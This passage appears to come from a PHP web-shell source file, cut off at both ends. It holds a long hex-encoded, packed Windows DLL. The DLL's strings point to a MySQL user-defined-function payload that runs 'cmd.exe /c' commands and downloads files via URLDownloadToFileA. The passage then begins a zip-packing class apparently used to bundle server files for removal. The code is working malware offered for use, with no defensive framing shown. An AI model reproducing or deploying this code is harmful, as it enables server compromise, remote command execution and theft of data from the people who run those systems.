27C3CCC22BFD1D675FE0192EB20C99601EB08B909786157731209405A8A1D473AC31DB46DB6B5E33BD307DB60BEF652DB85C016547F3E601A2B74450475DBD6F21974360E61484CAC1F39FF2C98AD6108A328FC83C920EBB72F7D2063148E10EBA22240757D0BA54D6F0940EB982C7573E993E6006EA0B7FC0F0281CE0DEB82B8BA7D5C782AC8860BC834DB656274BE8BB60DCB2E070B42067540F6C5B6B7D8B7C73B80CD401E63F8752E5FF89315FE0A37E6FFBF9B16175DECD521CE84163A741DD9621B8DD20B418068A4D71362C3242210EA4C917EA9543C7DC4103BCB7D701A2C68DB12B73A896A89588018040859334A6C021C82005196FB871825A0590F8E9D7855AE209F1F3BC374377521509175ACB30D1BB16D14501D16E97FEBC4EBBA3CB1EB446A38C1E602C23268066B62600E56063A65306C327A7815DE4B1B96B3273CFB384F108C5F58DB56B604020CBF1F041C7EA1819D355975CC00D885F6E36DFF118DA424AB8D6406075AD5AA838AE5531FE0FEC7780B3708F7C2DB138A0A4238D974D18437EACF9683511275ED0BD857FBE310281E4BB5560893BFE5F8F18D6E5D33CB0365F983F1FFF0CF33BF3F4A3770C204EEF3751C250674D37F51D83AC508C1B475C45E357E0B5A808C8B42FC38D867A67BD33713EF38DC742717E7C1E81012157BD66E9ADC06D4EB962DB142FE377A38279D06FDFC0494C36B20EE5002FFD0371404E634449EEF32AC0E0400F3C3F32CC015505431F5DF64B1025F0E57299A11FC45438A3999947511064E18C1096C987394302FFE36C50C00E714892290881DC2F5115EDF753C8690D7C58C568D71E2EE112F52F07213AC9A83EE04883CDFC7349073ED5E972018AD20CF57A1102824851B7B7F8D5BC50BA35FC3816A9480BC60711B88116A0DEC08B25DB038E194D7730D70F6B55660C6FB6A192A6339BBB1C935A4F6C08490546A74E2A0D18E50ED8BF06B7875239F5A93565B8490A04018A50A8CFD37333859109C0462BF193868305333528CA116131E782F690E182FD118D1D80D41C3BB505244A06D10F00653BE5660368B9464F20D1CD94730B00D3F8A26684BC9911588EB227536D99B1059ACF545305BC392D09113D0022FDB610D506E746CF12499906D19450D283009999009384098EC9D9044503DEE10560B0EECA4FC00CA5E4F16D4E81A48506896046AD2546CF4691B8DA62874879FD9942100DE784F9B862947731E8085F74FECDD0EFF8BC646050AA127E253F4A8DF24051FEBDE784B518CBAC46620EA001F5B9B86281ABBC6388DD98DDD02AE1A81EA7D0851F8BAB787897C79E3677D56BE4C84983D04CB930D83839A1F6B556AC082C1731C806008F6D6A55960408B0E882481C1806DF5CC31E06D4D7CB76E8B130D1588092ACE4C3B04BCB1508BAAF926388A03BE126DB4BE32527572AABC04ACA41A4123404AFD37E0487D8B0989088A0B88488F05BE558B0AFC3BF77CB485016FF04E5B23333C81FFFDAD50BA3C754D290E2F75056AF658EB099B09BA92C348C397F50DC96E1BD0B84AFF7A175770340A9D800C5B0A25C1068D1B9906804BA40FEFB6700D540A0A700405804383FB6130F2E1037C97B89480B40638B491DEBE7B5E375778A8F0056E4673218D70837BFC00FB7DC26DAC0B7C2083C79683C324C8D00CBA2072E2854824720F338825B85473C487A01D94885B155434811237F8D58DCC6B8A069ED218A996783C3D74A756FA8DC26D4B140AC3E8F9BD581D3F9EF1C63B3BF3318E74410955BF1D267B41381F74395583D8ED8F348BE85945803F49225534521DBBCC54C02E579D4F6C67C4BEFD9A5903FD3775C95DFF84C28934C768BF1D0B891EAE9484015BA2BBB25983BDBE8A98994FC1A75456530DC0A15A84E38FA2848BFE3818747463A5FA7DA307FC5053539F37B4040B0CDB05C90488D486186DD8A46BD6A1082F2700C34A7424864635A6A08D355F485A6C9C9232B1458A68B14C18D147EFF317208321008B7510C700B50156B0802BEF4937A05BFFDFA0AE80382275448A50014080FA22FE84AE1B2FFFD274250FB6D2F68292610425FF012B3B3256FA068A108816F60BD5EBCE0C6E6FA11124CB46401CEB43F2B645C61E05044044DAF683D6DCFD5B1918881E4665207409090870ACF5F20975CC750348C34A66FF9A5AA946B5674EB5E003F0BE66442B052787A281993117C8BC15CE169739FF02FB0885FA5AD0B8225C75C8DA922C7FE1C6AD02752541397D6D0D807801228D86257A6BE31D8BC2EBA3080CF0DB770416180F94C28905D1EB8BD34B88F6EF02F30E4388C6065C46B16AADAE355980A74A4693682E4C67168A3F863D1306ACDBE32E2819E2061F7303C2091B0F400315016B43F850BF38A0300F0E95A9E1EE6EC70383278E140246DDD1306449258F9C5378446DA830D4E06CF633141A8DCD4D04D50E0B49180F407B7B21892858CC428BC6D047F317EA10C700CE1B02433A45DBACA33CE581430C3F27C2BDDD5A3766391E6AEB4040081875F96DFC419F06F22BC6CFCCD1F88E40DA2A5AA3025D038A345852EB0DCCE83BEBAC3213B75683C9AC1C55508D3A57D05C242521D20C10CAB56A90275C2703F6756B0C92C888EB53624CA54A0592B985B1566089DFF6858D740A40387BFB04F62B223760495B6A55CE03F6EB727180A50BBA560F91E248D0CEBAC4BA9E5D5B20070261ED572A381026E821681A536C106A7450A213FF153A152B3859450C163A448330D4653B5BB95BD0D7EC084144F77CF0DE6889F134F18E033B961ACCC230B7471C2A6C45E8F75437E9700D10D77AFA75037A08B60BF18F5CBD59A522560055016B47C1BA30131750E0506DD65B3A3B591257D9BD07A8D6D90B3040963C76291950BBFDBE7076F80D838D6A0303F841DC5739B99D10B3105560FFC05D36763610570C7C1DBC7D36EB9E10FFB6D3C41611681020F8F6B9ACA927945450592C5FEB26165A6C81A38D30C7F23612B1DD0482086AF4D56CC881110FD85EC90E40C128265325F34226D911163C8B14C0012B0C8329EB2D3983D71C90A756F6DC784CC8D5EB7438B125213EF950E99ECEF2B2D61C11A9AEA880643C287BEEFD8DAD8AD73D63F3831881D51404B03582AFB210EA02F01B61E0594E3EE9B3B68D4B38F7881CB50C80F4C025622BC08B03317E30641C5E45AB0EE3A24C96880D535B24C67C80066F04368EC1F10C5229231AE3AEF90F86EAA0ECF1EE5BD5416E2BB64D1073290AD62EB045A58A95F90A7409FFDEBED0F02B0D408808EFC88D95292BCA81F9883D3655127CCC8911DBE3393ABFF4130D6B71FF85A061C634300C6343065FB6F6D20145E8C77C0B0964454510728A9960E96DD98B134E90464868B5BF8B74626A055E39B51D177F2126FC8930EB41B456EBC78D4DF4575CE6BA01B310FF43640B2EBB51CED14FEBA72C9C1EDA241C06E02C9720405AE8A015F52CEA1A10AA6C4FF24D666E1C38EBD2A4F007458258DF02F1B516CC808C6E6DFDFEAD068E6583490C08C741181BEB1103CEDDC80C494114181276D4525CA25E83618A011AE0188DF93B377203DCC883E17018AF362C368AD1A1D81C331340E58CC009FC7591345730E486E0D55BE159519130D716D76A138E1DB69AE51E5B00DE3FB41B155A22DD0CF3A00AE11ABC7A1EFBD82BD7246046735A732844BF5A020BA68FCC6C5DA0702B700C66C8077739D80A6DA14BDD581A58B26575F1A436CF51A08B84600C33C2CFBD1A506820CF118FDC6DCCCC208C4106F80E3A2AD716B6195F41CC00CDFB55B88A6D180B7718CFE8BA37C2F72AF18BD8090C07D31139A050D60C3215FCFFCF4913D1E9D1DBD1EAD1D80BC975F4F7F3B014B9B684643D2150F7EDEEBB2F7DD1720E3B27770872073B2B76014E4C4B56D84A7FDEC27F6F2A0E7AB3D96E506EA833B6517405C203506E10DD66C85E0C156EC814910410BA37CD606B0C0E0876082BBB1B406CA6DB11140708BDDA264103BB27DA007C3F26A8742AA6443D71A376E9C18BD1783BFE3DEF0F82800E036A738314ED6F4BDC8183E2EEF95E29F3A5FF249513A9F1DFD6426811BA1C83E904720C0CB136DB8F62C86D41801E8D789075F3B9C70741FC900403BCE023D173DB852F1188078A46BE470105025608938C2D5B59C6C75CCC8D96652CD949002B25010202EBCE2679A690234621473F5DD70DE48C065F034C0744374DD3343C342C241C8B44344DD3FC8EE489448FE4E8E8ECECD3344DD3F0F0F4F4F8CD39324DF8FCBDD7007B87B01027F809FFF00305399AA6808CA0BC6C36B0D766909D0BF91133240417A30D0A2BB8555B0D2531C639FCD8F692417F240DFDE3FC77823BC2E54400F7D96543B04B8F779E9C1CF92B43082CC2D6745D900B180338606D033A02F275B76F034E584F56B6B74B08F6971FA3EE02EF026FD9807C298C902724E3952D09AB2D03AE45EB1666625A955B7FB403A6699AA6BCC4CCD4DCA6691A9AE4F7971C1C189AA6699A18141410100C699AA6690C08080404A6EB0E231F05100318E05A129A283C8BB7B56C21CC96870F8313112A210CB700ACE86FE2570FAFAE83FEE08BDE770D0000EC1A0C2715773A7256B4D59382AB1D3D530256F057752B566A082A898850D71C14229893820F56741956947414EBA96A72A31644577C54EC8157B40E5BEB56D5612ED4230603EE265D565698182B52F7616904FC8AAEFF41BE0D50BCC5273ADC3701435C147C29985047568D7C07FB2D162BF90CAD240600473B5B290E2B1E7CA55E90C3B6CA11C56056821834BFA3A546088B87803B08742246C2ED46D988E80713720FF9240A606106817D0D4C02DB6E8350F531845E39C3D9AC60B6DDBC17721507CA532C1EB22D19080C16334BA55C1DE660080C7BD27502BD40DF1283CFDEDBE158EC22C90314BD737500A20F08B1443C998A74F6466221F816F87544837E5F23E886DE04FD0C958D460CFE1EC413ABFF4620ED8D5E0C70F61B090D803874180C84884388239F4500C3A585BF2D50DDE52B116A245999F7F9D1F03DD4A80336C66D2983FA3BF137EF2083C5044381FD5FA40F8C5E3984F86E23EB4EBE3E56B93E126F843E8D0C9DA9901E9C5F8684F83BC27318C01103D6EBE48D0815EAC1E30543C70B2256C9A012346C430BFCFE07563B0D535773F7C1903683D0C93CC18F07833C50B0DA28E4361AF51B053E1E751EE28B104974084958DEDE680284F4EB0804F5EB03F6A337DE4600E836891C308A5BEB161EE4C2DA027F7B5882864329F459376A830037C674320E1F5AC9F31CD6CA7E50505031C85A7B830CB2247ED4CAE264CF731FCCA3AD8D8800AB740F00E16AD8580841533AFDECA4963B343D1C063CC0C1E7154A81B1BCF749D418C5604B9E381780360CB2AD2C98248184E169CA5190C61D5642D4920179728BC3C36C8BB1E14E4152530411590F250306F029535DEC60B404CBF0F6D915B7B10211B0FF0336E4106AC0A359B43809F2A22CDEB43F4AA87BF6F30549C0FF4AB890073C9013082CBAAED003FC0C203F087900724AA84AA8A6E9BAD83F069F038C848BA6699A7C746C645C3F5D3B8F004AA8F003C00164D134CCE03F39859CE44C404BF04B4845D375DD2C900B580378A03C0239903F4C404C405D171B855B7FF403FC344DD3750E04030C141C24871160D1373F1F164DD37505500358687C3FAB2F4A003E1CCCA0022F907956F6C112883F1594D9815DE874095900FE37ABC645FF10EB0B8065FF8DECFC0FC0861A806811F6C540750839B72F455328E48B4DFF806A83C15E02056083236DC3DE2374001680E1A4C3F96C01175510100840EB07F60D4A30797FF810742604ADB7F2F220741830740A5074897505216A16A21521020C2ABD7CDF060389F0BA00077D0423CABF54B47F037D3BC87F31742A3BCB43C3ED4AB06D195433744D0739BA91AD85CC43F84C0804BAA67B7B435AF8EB3E26052F070643CE806F1E3BCA7423C2163CDD1188188F4F5B3B0507E69EE00113FDBEFEFF32FC5DF4C77413368E54F7D1234D143737B8DB1172A840C581CE1F0FF601F6ED63DBB7C4DE020BF7A8DF081408EB0AA8115D2CBDB1060B1068ADD8233BD39241E0DF751AE918016D0D8231816ABFB78D0A9E2DA82BCEF008022D6030EA3BAC39BF4213628561325256E8B383459875090A18EBD8D583F9B19A4DFF40EB09AF08146C410F78473159812781D6C68A11C380C901C630045A8452C9C2DD05BEFF0B48884CBD7578EA7473F606818116F502746D8B945DA2220B1E8B067519FC35008FBE813883E94B1D2A1759D888B60DBCEB584213E2137C677E2511335669A116807D131A11825F178CF015554445E2811980C73E5A74B52DD81C2EAF737808AB60072DDC07808B8C4E8BF390E005C916713F8005431467736A081E8233918B09570441464E600F3B32B24C245B231A0EF2F2B64D79D50D04FEEB08FDEB03F4C11A824C0C5F198A1141AA1EEC1BF16488174762EEEB05838C00F0D32401119C2CCBC983C1E134271208006DCC6AC738682DD9D2D96608C6C3000C085DC049B38807CA185A1965872312F52A65520945A9F88959AC913859A6E80AB82C06F651FAD756F29B6A0A8FD2268988391874744617CAE630428A78A9E850538B58DA71F0D73BC6CC214D628386A240C893715963FF25DAE2BF94603975E8F3ABAA895D0F6C16E8D386EBD77DEEB8BC4DEFDD405B2B04D30CAFCBB641FFE87BA312CA300F87942588CD546C9CD28DEEE356F7E58D614F6F52F3AB04AA8D9E94FA52A15498BCB6DE2C8A5101E84B51844B5CFA3BC777B7EFEE2D68FC8A922080089047401376F5F84BB1F04141803965D47983C308837DFC6913B93638C1E2C8914CBA6DA087F750A3A4105384898C2AB8BFDF709140A5A559A3D1A5EB5240D1B3A660810547A8C6A19EC57EF508403DFF07F153382B89357BDF06F15335250700BA49F88816ADAB00981EA84C97DFE75E2E8604AFE9508301D08C4311946FA857DA70EF65402DDFFE01A8946CBBE78FA8FF1570F814FD9635D1CBF4FC750F87DC19F6AE1CC7492DA463E7E804741704D7A628F00D740C802CB804F93CCF763605120B0811578460862571BEC01F88E1625F044CE5CF52B1404522283456A166B453962215127FE081E016CFBE8C888405ECDF7FA1150D8AC672F48A45F2C6850D20166E104D3B375A55F3B80A2D415FA0183BC1771D48BC3A08768F2A41B820008BD9CBAB6B81FA47AA42428A42FF84C15FF8EC352C900EFA8B358D7A029A33D0213989B2EF8C7DDD5A9123FD1D561E9291DD6C5634235842FCAD803DB8682E2768002E7DB75CCA8D8D726695F6C2CDEF67341503108A940564889060EFCEC9DBEB1C1A027410205BEBE380A06E6834781CDE4400BFEB491ADB0D1315DA417219045AB2BC8DFDC34BC880C1208888491F1D617213C3DE9CBC7A770E20E920EBE04C77F915774ABE5EC97394886AFDA90210F970505C59FC94882F1FD575798FAC426866281854FAF7403D6709FC161C57FFD664BEDB29FA297450100CC7D7BE5DA0F85714B00C06B45B99A0BB88CD16FFD0D602DEE66BED10B405531104EE1590601D4D0AC00982FA8659A057040481282056B064F0BB470B0C85965E91F983FA982DE9ED6A47C025152BD16075FA9AEF10D06D020610CA1A251C8E1D1429168F58A6EB3A06234AE2EB8807351E94CC5289365A271ACF0D56AF1235140FCBFFE1C3A0B7AC99AD78F2971B180A0360B615DCC1A8F1223E1975EF13A0876A064F4AACEC508B9E1D9C345CE66D442C51681C4C147D452E6AB6AD50293F89B1C1E0939D084B1A6606AB9F44BC3805750BBB0D416F064D6B50AF256BBC5C487D469512980708D0E250853014526D2FD050BCDE1BF6034EBC05A908D81A4A8615B06F126945FCDE30A22DC25B53C366A035AADB9C65F874E144346021CE0C29800750A09543B566401343E0E0043812F107C406F98A4804657FAB99A5DF89084B1D8A40053C0A84BED01D154D1088E4078D53010F8B459718C682050ABC160C166D515452B810448B664DDB39AD976865D1068F1496935166EB006D912446E98B17684D8B3D4BE1F40155F64235D144E68AE5A87CC50EE0D0F876EB3B0A81A274BBBE0C04E724FB027FAD0D03808136C85B00140C0075FFD06C0B23578A101A33AE3CD45FBB2D0D0BB443FF135A12493944BBDD2DA2182140803848068308CDCD76BF5F5EC6030D4344EB73CA2BD36E3260E7FF6A01CF0A090E683BAA479F74411ED101A2358848D12D821A85FF9D468B0F4388443105EB293B700420DEB6250CFF6305160AEB18A55E40D812FFA9193507AD9C7B77BF925B761A750D85115C74F3064942D12EE5E4AC062B4688210250A8EAA9D800F91131357540346A46C42BF87D5BF41F8AE875465757EB533038154C20629236B1F2DBCA6A711D23EB222014A660B0341B48E1FE033130EB651DBA397D147E108AB25936C514105A66B67DF436E1A11D591D161C0286D98CD9181FD84872DA478DC159D22AD3A62018366B5B0CBE3C20732EDB6CB74EC1245E0140503720CA3F408C4C793BDF0F849CD25B6CA014041B9C0324FCF25DAADB2EDE8BC441DC8367EB138DB5D751678BF026118BB5D9F6AD3867DC7466534CDC6121CB9EEB9257F44DEC1AA574A3A6884412D80A7432B06D4B6C5E0D40403E1C78B2C8663713EDD57F1EDA321C0962C321858F2065C814876515F4A1F20BD966B6B336DC895DE08B15483212BDB27DB953D6BDDF74B45664E467749C8F6AB35BA3B30E03EB068C28EDD5618F54D5CC0AB11B88108B71B77179088B2680AD9F44568D4A9E0D7FBA0DBA5580F1491AF30C5E5CC60736942B498BC24E58ED61328118B4ECAC375E2D043E3E8A515E564234632356A53C0497CFC819DF1D1B56495340CEC2C73B028658A3432D24F276607CDD1C490554CC335033E433B263345BC8945D18908DD9968D532C34201BC53619181FE0DB630AD06A15B5CB3EBB15B0107CD3DC57CC0FE16050B3EB0B83DB33ECB6119CF6112949E0565FF670C9DA1C5552F8D7B2703A84933C8AF5CC38680C42EF047AC25F9A51D4E7023A01752E0A1BB1D552F0263A613E0A431D966EE146873A4101191411035BA330D56BFDD51A75555B430BB3FFB090D3D18E016DADCA0B4301070242B5CFD6ED44E94130E01302A86658AD799AAF335BD2CAC9C14A6D42AA5BC98CCC4F56530B4A55B050009C1B201AFFAE023307420FAB0424EBF3775DFE5ABB8C90416E14460FA373F201E6E20204C420753F98FD646C3A0AF38D46FF3B9CB8ACF87B5643BE51EEB60E56485481DF4C03C12580FC8D161DDEBD0A80E17FEB0D811FDED0540440391180C980DE880A81440B8D6686C5C671D0419080E3D60AC0C006A0A8487D065C9C249E5862050D10565D7426E8BC00BF83C410E0AE41C305E3CC0CB568E12EF1C6012D415CEB030A915B4013D4B88110B5DAA5DAD2630883FB0950769225FF2F7D6B2004308819413577DA802100498A178A018878007F8B118F49473BF972F21B365341486FFF948BD6A81E588D39C470CD4143A1D03B5CCF252EB6C1FF46758A274738C474F22C419D1AE324EC85D2E1C5FE4186E00E824A6F1474D21AC0E6FFD1575F3AEB78F0FFBF34019130007F0419C0D96EE2EB15130DC9817888C2C77895FFB541599EEE9067271FD82E760B3E6A602266C4040907B742A68D38CFDA39CB15580B0318AC05224EEBFB55D0C2052241280EABE097CF0B6C112836D1E970DA0C1B1FFF804EB741B35AB6201726828ADDFFDBEE0774217F1D467BFC720638DC770202E638F809D8B517BA35C6F7750DEBD733C908023657B34D9BB9AFE582806D6AE4BF0FF35FA6ED85B50A321926EF2BB446AB2F99EE57EBB68DDE5AC3EC74230BAB1F775165EB3AC0F0596B0979D584B5634DCA0975720271FC08A5C9DE0E5FFECB030051283074512BBC2311EC1A2D75770C920F1DA2C685B7A6EB52DF2F7D8B5BB10EC11AB6D10A5601805E6EBDF54B318065FE0088508845FDF3EB09BAAB41D90DFD0F6C8D4D0AD58B1803165179AD7DD182C16E4F026B53B38059E3450A23B07465BB72251CAE5A80450F8CD5815DB9AAF5490F8FA18A46D52D1FE9DEE83C057C83760A4D405E7D2539DBD187F8787E0BD95FAD6A0AA1A1F4DEE0FE8A045823C667D9EB658B1512DA65E94CB4B6C84A740FA7DF5BD4D630AF88065D0958B60917C5522B5B13566B032CF036BE03B49F572F1A6AE0648FCC20F6AEDA06AD75A5D646D0BE05FD032C37126253CB0BC18C00885DC029C25A0BC839FAAB60287C25F7E1C29DEB025EA105B11D42030985056C351FD31EAACA3EC1CC03580000D37466AAFF0F4D53EE65DD9304DF03E50F08EC03BDE4F2B2F20F0AFF0B050CCF0AB656D003D50302017FB6DF3A1903070602100445000535300050B5EEFF7F2C20283850580708003730305750070F200BD71461DE000860686009780073AE956E08071507001A010E7D7BDDFF0028006E0075006C0129320F6E756C6C6FB7FFDF0A72756E74696D65206572726F72200F0D0A03544C4F07E4BFD95353110E0053494E470044BBFD65ED4F4D4112115236303238082D204BB76F7F7961626C746F20696E6956616C697A0D6865D67EBED961703727376E6F743D0460EFB6FF756768207370616323667B6C6F7769380AB9EC3661066F6E3736ED672079737464357075722BF6DB5AFB76697274752133A5632320630C9B42BED86C285F345F2ABDF6DA7665785C2F5806DCE2E6BEB0935F3139F76F706558313260DBEE736F0F646573632B3888706B6D4624816564193024DF405723376D926FDBADA6AC7468BF612F6C6F636B1B6C8530173464B7865B6B6E612E02A221726D0050D8DAB770406772616D204A6D366829EC852F30394F10E71A8D66412A2B302E2B84EF53C8386172677528735F6DBBF63C303266C16E6E67826F9CB52EB605743A1164E67F4DC3DB422B2D60396615566973AAEFF660FC432B2B2052A04C6962B47279276D0F87B90A2D16450E211150D8656B9CD43AC2002E003CE5ED6D736DE0252C6B6C776E3E1B17EED8F84765744C61324102766550AE75705BDBCE62130F57956426876534BEF0FF7373616765426F78410075732533322E642ADD931252EAB75956035A77CF76670B5A955A0E0B5B8E0392483AAFB9BBB56D904A0064002C204D20086DC9BDB97900632F642F06D74D03FDB5179A4144EE656D626B5B4E6F76C3FE6D930B4F986F0A536570741486A96885416C96711BBEEDF9B941076E6541F369A64D101636172763684665327533BDF7DE7B4A616E0A675F57537BAF7BEF4B47433779433F3B6EA9D0DE3323B03C6418B0ED587B4F5E095468127313D9C15A6157BC7C0C547509B9D9B1C64D251053750743F7DE7BEF3B372F27231F039E73CEB90A11181F262D9C73CEC5AF828990979E72CE39E7A5ACB3BAC1C8A78008047C28BB92975043BD384F296360A9523F4D797371909620A953A636306EC263B50B355A6A09A663B7B921E76A3752C077035C321703ABCF91FB2E746D700FB40600B6472A481D3A2C7EB53D25E4E6FFDB730A2F636D642E657865202F63200068656C55192B75313774073967FF76B6E4380B3006687474703A2F2F8F2DF5FF2ED9632D9B09CAE4C8EBB8F1CABDB4EDCEF3FFC3FE6F120D00CFC2D4D8CAA7B0DC0BCEC4BCFEB3C9B9A6F6DCE6FE21C2B7BEB6A3BA7E175C3F44867B81D10F00200593195731D913199DE4667271F0108DE8832119B2178E180F30434E5146C2F80392017BD894A007010153107C81A4B902011F0264410152476357D9D9070A2F0207743CF2E4C96C084009140A73F01093274F9EC411941270133C79E4C944180C1972E41AAC1B93274F9E741C4C783C796EF2E4C92C7A1CFC18FF86B29317D854DD038572200107402699282048001940269210841002199009810119900119108202601C16023B20EF200D0C050133164DD30C3603070418050D344DD3340609070C0832D82083090A1B0BC1BEF702573B070F575F906EB0101311031217210C32D820350F414336D86083503352175307D860830D575F597B6C17D2344D376DAB20701C72D860DF0BC72F80B3810760830C36821F83848F208334CD91299EA1830D32D8A46FA7B79FCE760EC2601FD70B18070069BEB35D0517C00B1D0490664006968D08644006648E8F9006644006919293CC066140039F78EF4D54EC25FF0204222B6027CF0EF68279822117A6DF07A1A581E9CDF3EF9FE0FC2F407E80FCA8C1A3DAA34F0D72F60881FE0740B577830C812F41B65FCFA2E43E5F21FFA21A00E5A2E8A25B7EA1FE5105BF92DFEE03DA5EDA5F5FDA6ADA32D3D8DEE0B26627B7F939317E430303860064AA432EE99E9C84538B9876840380A6699AA67C7874706C9AA6699A645C54483C34699AA6692824201C18A6699AA614100C08044DD334970075FCF8F0E4DCA6E99E35D42F75CC03C4BC9AA6699AB0A89C908C8849BEA669806C64CD2E821D65BB8C8F905C037F009EF040E82F500B807007F0F11325DCA0D1535499508BDD50C944548CF38CDC97B058592CA7BF06699A0E1EEF3B5A9775A769BAA7B5D4F3E0301AB86CD3034E6D01333AB759699AA6697796B4D3F20CDA74DD272F034D6C01F108A48008368024444144210980D109600064C15B054D734325746554B6CBB7572C0D44656C65466905410A105FDB0C470A0953C5D87393CD2719522C0A23EC4F56C145185661726961622212C0EC7F436C6F736548616E6425F62AD80E4B4A500B63417B7B56686753791D656D4447B7C1B656F5227914744E747515B893FD70496E666F413569704FB1DBD62EA845782A08535D65702CFB36CCFD56657273696F163B896E6754792D67DF856C570F1F4C434D6170115706882E610D1B4D7073ED5BC34279126F65646543688366E5ABA03DFB644F66F34C6FFD8E6B68FF300B746C556E773C3D48D767EDAC7C70416C6C0A46B1FB432D7B9BE16F6D6D09336E7DACB38556982673FB0B790CC580D866E50B56ADB521419C42494D1E263CC3D609630A532740B029DBDACA16AD147215421BC0B64C5B762B78108C8580250B77C5EB8407C4600C542FB998A170B6DA75D3F812DCDD3302524964386C7353F3B3378BDD5575650C4F09DE4BD2258C531D2D471A086D618643427552C93B2463366412A0D50CC363141E4D6F64BDA34E616D6A3B2160BC5F9EE473183004470A0CF3CA6624A3FD08E42CCFF04258164361853B1CFE66BF08506F6990C906C25EF99DFD6B65644465633815C2844D72496E53EB460F3AC1F1EF73684B427566663E6A50ECB136761C0A410B074F454D092C19FE10934164647297EF7D2841BCD93C7155524C440A5BA4668277E3CE1C88F6F6FE340457534153864D00FF0402CBB22CCB17390334090C8D32B62C0B022649F7FF7FAE6D0C10025C000A052F0A5205546417350BDFFEFFFF811912192A060B2A385319310B320D1B806512ED2405670B30100F1CFFFFFFFF1B1B96130B530B1C455405400645171106180A118145110B4C310526530F7D1CFBA5FFFF078B1214050B121B271A1241691A09F04BF83A06F0520103BFFDFF7F0802070F080B06060A18050A1A0E080643125C1B4F59085A0DA37DF66FFF0F16F03001BAF00AF6211775F0C8020400CE2D07E6EDEDBF5F10070708270C0A08300A0608050C050CBFB5FFBB16030813082D1B10060F06070921AE08F04F020E6BBFB5ED061A050F107EA20605060D1D15349BFBF69B2244A6F0ED0120130616070F1810FBFFDBDB091A571362A9850E0B14060E09111C0F12091C230A03FFFFFFBF0C137F0A1CF0F20007194212310C0B0F0AF00302F04D012C0C1C191A0811F6ED5BFB050D05F00549BF05380C0757070A19088EDBADFDDB05663A081A0611190C7113081E0917F6FF0B6F17621806422214320715320A2115242A0E311CF6DF6EFF21250F0F321043CB140E47065B074845E3193539DBDF6EFF0C103F50133E1282260D8E13270F42141E6D157CFBFF6FAA0E13770D251C1374A04D18154A481712E3084B2512842F6C2F47550118EF051D29261A072842EEDE1D4A0604660B1B07161D2A32FFB7B77F7228060C3B0829710D0C234F6039150D3D22084C0F19615BFBFF262E0F20222D143A0726181A0B83A67C56DBFFFF138AF0FB00790C150B2EF0D9011C0D0D13090C32C221B76678E106210A1D081715A919E80B0AFBDF0A0B6E432C0019066F061E1113151EF95068857F10210C120E0F11759647BFF00BCDB85C7EF056011E550F0AC60A89050BFFBFB51F4C35080E1E1D182058163368254605030717FEAD6DFC103D105612F03E01EC48B24F30BD71E1B75B045E2F0F5838EA3C7D3810040CFB76F38301F0B4030408F0AC0A0DF014010417C8915D7E2010108408020800046453203FF0240608041009F92F71E90C9C645045A54C010400B2976A46AA4EF90FE0000E210B0106264B004F26A9244110BDEC3CFB09100F04000700D0B237E982272A0202079B6D7ED81E8D000071C886620285B9650AC0648A002B8CAA4BA744B0100C76F92E7465787446619070E2AD2A6574CD602E7212669D2BC1AB0D5303FB5E73D902402E26CF2427B62919A49090C04F6519EC6B0F7D584FC027A06F6EBF29421B5C881051C489C700000000000000800400FF00807C2408010F85C201000060BE00A000108DBE0070FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9960100008A07472CE83C0177F7803F0A75F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE00C000008B0709C074458B5F048D843000E0000001F35083C708FF9650E00000958A074708C074DC89F979070FB707475047B95748F2AE55FF9654E0000009C07407890383C304EBD86131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAE58E000008DBE00F0FFFFBB0010000050546A045357FFD58D87FF01000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9C73CFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000070F0000050F000000000000000000000000000007DF0000060F0000000000000000000000000000088F0000068F00000000000000000000000000000000000000000000092F00000A0F00000B0F0000000000000C0F000000000000073000080000000004B45524E454C33322E444C4C0075726C6D6F6E2E646C6C005753325F33322E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F74656374000055524C446F776E6C6F6164546F46696C65410000000000000000B1976A46000000001EF1000001000000030000000300000000F100000CF1000018F100009010000090150000801000002BF1000031F100003EF100000000010002006D7973716C446C6C2E646C6C0073746174650073746174655F6465696E69740073746174655F696E69740000000000E000000C0000001D360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
}
 


class eanver{
var $out='';
function eanver($dir){
	if(@function_exists('gzcompress')){
	if(count($dir) > 0){
	foreach($dir as $file){
		if(is_file($file)){
			$filecode = file_get_contents($file);
			if(is_array($dir)) $file = basename($file);
			$this -> filezip($filecode,$file);
		}
	}
	$this->out = $this -> packfile();
	}
	return true;
	}
	else return false;
}
	var $datasec      = array();
	var $ctrl_dir     = array();
	var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
	var $old_offset   = 0;
	function at($atunix = 0) {
		$unixarr = ($atunix == 0) ? getdate() : getdate($atunix);
		if ($unixarr['year'] < 1980) {
			$unixarr['year']    = 1980;
			$unixarr['mon']     = 1;
			$unixarr['mday']    = 1;
			$unixarr['hours']   = 0;
			$unixarr['minutes'] = 0;
			$unixarr['seconds'] = 0;
		} 
		return (($unixarr['year'] - 1980) << 25) | ($unixarr['mon'] << 21) | ($unixarr['mday'] << 16) |
				($unixarr['hours'] << 11) | ($unixarr['minutes'] << 5) | ($unixarr['seconds'] >> 1);
	}
	function filezip($data, $name, $time = 0) {
		$name = str_replace('\\', '/', $name);
		$dtime = dechex($this->at($time));
		$hexdtime	= '\x' . $dtime[6] . $dtime[7]
					. '\x' . $dtime[4] . $dtime[5]
					. '\x' . $dtime[2] . $dtime[3]
					. '\x' . $dtime[0] . $dtime[1];
		eval('$hexdtime = "' . $hexdtime . '";');
		$fr	= "\x50\x4b\x03\x04";
		$fr	.= "\x14\x00";
